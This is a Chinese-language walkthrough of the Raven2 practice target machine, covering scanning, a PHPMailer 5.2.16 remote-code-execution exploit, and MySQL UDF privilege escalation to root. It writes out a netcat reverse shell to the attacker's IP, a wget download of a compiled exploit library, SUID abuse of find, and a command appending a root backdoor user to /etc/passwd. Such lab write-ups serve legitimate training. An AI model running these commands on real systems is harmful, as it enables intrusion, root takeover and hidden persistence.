3-Raven2百个靶机渗透(精写-思路为主)

news2024/9/26 5:17:35

特别注明:本文章只用于学习交流,不可用来从事违法犯罪活动,如使用者用来从事违法犯罪行为,一切与作者无关。

文章目录

  • 前言
  • 一、信息收集
  • 二、ssh爆破尝试
  • 三、根据框架exp和cve拿shell
  • 四、对mysql的进一步渗透,mysql UDF 提权
  • 总结


前言

思路清晰先说步骤:
1.信息收集,收集到应有的靶机可利用端口。

2.用收集到的信息尝试爆破ssh,如果信息足够可用拿到普通用户,最好能一次拿到root

3.根据系统版本搜索exp(常规提权),拿到root的shell

4.对mysql udf的渗透、提权,思路为主。

一、信息收集

扫描内网,定位靶机ip

nmap -p- 192.168.198.0/24

在这里插入图片描述

访问80

在这里插入图片描述
我们尝试另外几个端口,看能回显吗

111端口不回显

在这里插入图片描述
55677也没回显

在这里插入图片描述

当然22端口肯定能爆破,但是我们需要信息收集

那么我看回80端口,如果没有什么可用的信息就只能扫描子域名了

看回主页,我发现有team

这个team我觉得可能会有人员信息,我们收集一下

果然有

在这里插入图片描述
我们没办法的时候就用这些人物信息去试试

我们扫描一下子域名

dirb http://192.168.198.136 -w > url.txt

枚举发现该目录:

==> DIRECTORY:http://192.168.198.136/vendor/

在这里插入图片描述

http://192.168.198.136/vendor/PATH 第二个目录获得flag:

在这里插入图片描述

/var/www/html/vendor/

得到第一个flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

http://10.211.55.10/vendor/README.md

在这里插入图片描述
枚举获得信息:PHPMailer

http://10.211.55.10/vendor/VERSION

枚举获得信息:5.2.16

在这里插入图片描述

等下我们去找EXP

二、ssh爆破尝试

cewl http://192.168.198.136/wordpress/ -w zhanghao.txt
hydra -l zhanghao.txt -P zhanghao.txt 192.168.198.136 ssh

爆破不出来,哎找不到密码。。。。

在这里插入图片描述

我们尝试别的姿势


三、根据框架exp和cve拿shell

对谷歌老师

搜索可用的EXP和poc

在这里插入图片描述

这是个扫描的exp

exp使用

在这里插入图片描述

把代码下载下来

直接利用

试了几个端口都用不了。

在这里插入图片描述

成功扫到了可用cve

在这里插入图片描述

有cve还不好说直接谷歌老师就好了
在这里插入图片描述在这里插入图片描述

下载到我们想要的攻击exp

作者居然还做了视频

我们看看

在这里插入图片描述
这个playload需要修改里面的代码

在这里插入图片描述

①.需要修改成靶机的url,url要包含.php,且这个php文件存在,可以用目录扫描扫出php后缀结尾的网页文件

②.需要修改一句话木马传入的名称

③.一句话木马反弹回来的ip,也就是kali的ip

④.这里需要知道靶机的绝对路径我们前面得到过这个路径

在这里插入图片描述

我们将cve复制进kali
在这里插入图片描述
python 40974.py

在这里插入图片描述

playload写入php文档里面

我们nc监听端口
在这里插入图片描述

然后执行这个php文档

他会把muma.php写入这个目录

在这里插入图片描述
我们执行muma.php

在这里插入图片描述
成功反弹shell

在这里插入图片描述

拿到shell但这是个伪shell

我们用bashshell

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述
但是这个shell还是不够好用,因为没有历史命令

我们按ctrl + z

让nc进入后台

在这里插入图片描述

执行stty raw -echo; fg
在这里插入图片描述

这下我们有更好用的tty了

到了我最喜欢的提权阶段

直接进厕所bushi

进/tmp

我们先看这个用户下面有几个flag

便利查找一下

find / -name flag* > f.txt 

在这里插入图片描述

。。。虽然找到了,但是flag没有提示信息

在这里插入图片描述

没事还有个flag3而且是个png,以我直觉大概率是个提示信息

我们先不用工具看,我们先用网页查看,因为明显这个目录是在网页下面的

/wordpress/wp-content/uploads/2018/11/flag3.png

没有提示信息。。。

在这里插入图片描述

很遗憾,那只能找其他信息了,不过这里目录中有upload,没准有个文件上传漏洞,但是我还没学好,所以,。。。。。。

那我们进这个目录下看看,wordpress应该也有问题

在这里插入图片描述

带config,我们肯定要看!!!

看下

说实话有点离谱了,谁会把密码和账号写在这里bushi

在这里插入图片描述

很明显要我们对mysql进一步渗透


四、对mysql的进一步渗透,mysql UDF 提权

UDF 提权、MOF 提权是非常经典的提权方法!

已经有root和password的密码了,那我们直接登录试下

mysql -uroot -pR@v3nSecurity

真进去了。。

在这里插入图片描述

信息收集一波

在这里插入图片描述
密码加了盐

在这里插入图片描述但是得到两个账户

michael
steven

账户没准可以爆破ssh,大家可以试试,我这里继续mysql的信息收集试下
其他表也没有啥有用的信息,只能尝试用mysql的漏洞去渗透了

那我们收集mysql 的版本信息
在这里插入图片描述

我们提权必须要满足的前提是mysql是root权限运行

在这里插入图片描述
udf提权是直接提权成root,这个环境满足条件

看下mysql安装过程

dpkg -l | grep mysql --查看历史安装包版本

都是5.5.60
在这里插入图片描述
查看下是否有权限运行udf
在这里插入图片描述

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权

2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权

3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

show variables like '%plugin%';

在这里插入图片描述

这里攻击思路有两种,一种是mysql能远程访问,那么我们可以用msf攻击;一种是mysql只能本地登录,那么我们就只能在本地进行攻击。

查看能否远程登陆:

use mysql;
select user,host from user;

在这里插入图片描述

发现这里root用户不允许远程登陆,因此不能利用MSF提权。

谷歌搜索:mysql 5.x UDF exploit 或者 searchsploit udf

https://www.exploit-db.com/exploits/1518

在这里插入图片描述在这里插入图片描述

searchsploit 1518

在这里插入图片描述

locate 1518.c

在这里插入图片描述

cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/Desktop

在这里插入图片描述

使用方法
在这里插入图片描述先把exp复制过来
在这里插入图片描述

gcc -g -c 1518.c —GCC编译.o文件

gcc -g -shared -o mso.so 1518.o -lc

在这里插入图片描述

-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

kali开启http让靶机下载
python -m http.server

wget http://192.168.198.133:8000/myso.so

在这里插入图片描述当然我们最好还是放在tmp下执行
在这里插入图片描述在这里插入图片描述

接下来是mysqludf提权部分
我们进入mysql

mysql -uroot -pR@v3nSecurity

在这里插入图片描述

创建一个表
create table myso(line blob);

MySQL中,Blob是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。

插入Blob类型的数据必须使用PreparedStatement,因为Blob类型的数据无法使用字符串拼接写的。

MySQL的四种Blob类型(除了在存储的最大信息量上不同外,他们是等同的)。

在这里插入图片描述

往这个表里写入提权数据,会以root权限执行

insert into myso values(load_file('/tmp/myso.so'));

在这里插入图片描述

因为我们这个文件使用普通权限写出来的,所以需要root权限导出然后执行

myso表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出

outfile会有特殊的转换,而dumpfile是原数据导出!

新建存储函数:

select * from myso into dumpfile '/usr/lib/mysql/plugin/myso.so';

在这里插入图片描述

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

create function do_system returns integer soname 'myso.so';

在这里插入图片描述

查看以下创建的函数:

select * from mysql.func;

在这里插入图片描述
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:

select do_system(‘chmod u+s /usr/bin/find’);

s 在文件执行时把进程的属主或组ID置为该文件的文件属主。

原来只有某用户可以执行httpd这条命令, u+s后其他用户都可享有文件属主的权限。通过chown将文件属主调整为root,这样其他用户即可以root权限操作该文件。

因为find命令是root的

所以现在其他用户都能用root权限执行find权限

在这里插入图片描述
刚刚我们find命令有权限问题,现在就不会有了,我们执行一下查找flag*
在这里插入图片描述
还有个flag4.txt在root目录下

但我没有root家用户的权限
在这里插入图片描述

那我们就继续提权
直接提权bash shell会有问题

find / -exec "/bin/sh" ;

在这里插入图片描述

我们目前只能用sh不能用bash shell
在这里插入图片描述
拿到flag4
在这里插入图片描述

其他姿势

我们可以利用刚刚的mysql执行命令,反弹root的shell

在这里插入图片描述
先监听
在这里插入图片描述

select do_system('nc -nv 192.168.198.133 6661 -e /bin/bash');

得到root的shell
在这里插入图片描述

注意这个仅限于/bin/bash模式下面才可以这样做
在这里插入图片描述

我们还可以写入一个权限

写一个root权限的影子用户

在这里插入图片描述

select do_system('echo "ou:e9mTQIxwFiHzk:0:0:root:/root:/bin/bash" >> /etc/passwd');

在这里插入图片描述
影子用户

在这里插入图片描述


总结

以上就是对这个靶机的渗透总结了,这里用了mysql udf提权,这个方法现在已经不常用了5.1以后的版本基本无法使用,但是思路是永不过期的,希望大家能好好学习思路,而不是花里胡哨的漏洞偏门。谢谢大家,看到这里能点个👍吗?

特别注明:本文章只用于学习交流,不可用来从事违法犯罪活动,如使用者用来从事违法犯罪行为,一切与作者无关。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/504720.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python - 通过 pyInstaller 打包成可执行文件

一、场景 通常来说,我们开发的 python 脚本一般都会用到一些第三方的包,并且需要对应版本的 python 解释器。因此在 python 脚本在不同的主机上运行的时候相对来说不是很方便,为此可以通过 pyInstaller 将脚本和解释器打包成可执行文件&…

数字中国创新大赛·信创赛道优秀作品推荐 | 国产工业实时操作系统(Intewell)

产品介绍和功能体系 Intewell工业实时操作系统源于有30多年发展历史的“道”操作系统,是一款微内核实时操作系统(RTOS),具有良好的可扩展性、友好的用户开发环境和丰富的开发调试工具,提供POSIX接口。Intewell工业实时…

2023年5月产品经理认证NPDP线上班,我要报名学习

产品经理国际资格认证NPDP是新产品开发方面的认证,集理论、方法与实践为一体的全方位的知识体系,为公司组织层级进行规划、决策、执行提供良好的方法体系支撑。 【认证机构】 产品开发与管理协会(PDMA)成立于1979年,是…

程序设计的三种结构-C中实现其的6条语句

什么是程序设计结构? C语言设计出来就是为了解决现实中存在的问题,但是现实中问题大多较为复杂,如何描述问题也成为了一个重要的问题。将这些众多的问题核心找出来,我们发现只需要使用三种基本的结构包括:顺序结构,分…

FS4068四节锂电池充电管理控制芯片

FS4068 是一款工作于 2.7V 到 6.5V 的 PFM 升压型四节锂电池充电控制集成电路。 FS4068采用恒流和恒压模式对电池进行充电管理,内部集成有基准电压源, 电感电流检测单元,电池电压检测电路和外置场效应晶体管驱动电路等, 具有外部元…

面向开发者的 ChatGPT 提示工程

LLM 正在逐步改变人们的生活,而对于开发者,如何基于 LLM 提供的 API 接口快速、便捷地开发一些具备更强能力、集成 LLM 的应用,来便捷地实现一些更新颖、更实用的能力,是一个急需学习的重要能力。由巨佬吴恩达老师与 OpenAI 合作推…

Golang每日一练(leetDay0060) 多数元素、两数之和III

目录 169. 多数元素 Majority Element 🌟 170. 两数之和 III Two-sum-iii-data-structure-design 🌟🌟 🌟 每日一练刷题专栏 🌟 Golang每日一练 专栏 Python每日一练 专栏 C/C每日一练 专栏 Java每日一练 专栏…

Zynq实现SDI视频解码PCIE传输 提供工程源码和QT上位机源码加技术支持

目录 1、前言2、我已有的SDI编解码方案3、我已有的PCIE方案4、基于zynq架构的PCIE5、总体设计思路和方案SDI摄像头Gv8601a单端转差GTX解串SDI解码VGA时序恢复YUV转RGB图像缓存PCIE发送通路SDI同步输出通路 6、vivado工程详解7、驱动安装8、QT上位机软件9、上板调试验证SDI同步H…

VMware虚拟机克隆、复制虚拟机

文章目录 为什么要克隆一、环境检查二、开始克隆三、网卡静态配置 为什么要克隆 首先VMware 上创建的虚拟机是可以重复使用的,安装好的虚拟机可以直接复制或者剪切到其它任意电脑上,然后使用 VMware 打开使用,两者的虚拟机设置以及登录密码都…

MySQL笔记(二) 数据库操纵语言DML 、数据库查询语言DQL、数据库控制语言DCL、计算字段、子查询、函数

MySQL笔记(二) 数据库操纵语言 DML插入数据 INSERT修改数据 UPDATE删除数据 DELETE 数据库查询语言DQL单表查询常用查询条件排序查询分组和分页查询限制结果 分页查询多表查询自身连接查询外连接查询嵌套查询 计算字段字段 field拼接 concatenateTrim()…

10个免费的ChatGPT镜像网站

文章目录 前言说明网站 前言 ChatGPT是一种基于OpenAI GPT(Generative Pretrained Transformer)模型的聊天机器人,它可以对用户提出的问题做出回答,同时还能够进行精准的语言理解和回复,较好地满足了人们与机器人之间…

MySQL数据库基础表格——增删改查(下)

♥️作者:小刘在C站 ♥️个人主页:小刘主页 ♥️每天分享云计算网络运维课堂笔记,努力不一定有收获,但一定会有收获加油!一起努力,共赴美好人生! ♥️树高千尺,落叶归根人生不易&…

媒体邀约服务

传媒如春雨,润物细无声,大家好,我是51媒体网胡老师。 媒体邀约是什么?专业的媒体邀约服务包含哪些内容?怎么选择合适的媒体邀约服务机构? 今天胡老师就跟大家分享下这方面你的经验。 一,媒体邀…

【C++STL】AVL树

前言 二叉搜索树是具有特殊存储结构的树,任意根节点的左子树的所有节点值都比根节点的值小,右子树的所有节点值都比根节点大。 这种特殊的存储结构使得查找的效率大大提升,为logN。但是还有缺陷。 因为二叉搜索树的构建是一个节点一个节点的…

django 过往后端搭建笔记整理 (2)--rest_framework视图使用

rest_framework视图使用 CreateAPIView---单独执行post上传逻辑views.pyuser_serializers.py CreateAPIView—单独执行post上传逻辑 基本逻辑: ① 准备视图函数类 ② 准备序列化器类 (其中可以自定义如何序列化数据、序列化哪些数据,以及如何…

苹果最近删除的照片删除怎么恢复?专业人士都这样恢复照片!

案例:苹果照片删除了怎么恢复? 【友友们,最近不小心清空了手机照片,在最近删除没有看到,有什么方法可以找回来吗?】 随着现代科技的不断发展,手机已经成为人们生活中必不可少的物品&#xff0c…

设计模式 -- 享元模式

前言 月是一轮明镜,晶莹剔透,代表着一张白纸(啥也不懂) 央是一片海洋,海乃百川,代表着一块海绵(吸纳万物) 泽是一柄利剑,千锤百炼,代表着千百锤炼(输入输出) 月央泽,学习的一种过程,从白纸->吸收各种知识->不断输入输出变成自己的内容 希望大家一起坚持这个过程,也同…

以CSDN为例,用Charles抓浏览器接口

0 描述 很多网站,都禁止F12,这就给抓包设置了门槛,虽然解决的方法有很多,今天尝试使用工具试一试,以CSDN热榜为例,直接转python代码 1 工具下载 工欲善其事,必先利其器 这个我就不多说&#x…

MySql -- 为什么使用B+树做索引

再有人问你为什么MySQL用B树做索引,就把这篇文章发给她 本文是参考上述文章进行总结和补充,大家感兴趣也可以阅读原文. 目录 1. 索引 2. 二叉搜索树 3. 平衡二叉树 4. B树 5. B树 6.扩展 -- 聚集索引 VS 非聚集索引 1. 索引 概念:索引是一种特殊的文件&#xff…

工业4.0,无代码改变软件开发格局,数字化转型不再寸步难行

从工业1.0时代到工业4.0时代,我们已经看到了,中国在不断发展的过程中,面临着很多的挑战,企业也面临着很多的困难。在这样的大背景下,传统的开发方式已经不再适用了。很多企业开始寻求一种新的方式来开发软件&#xff0…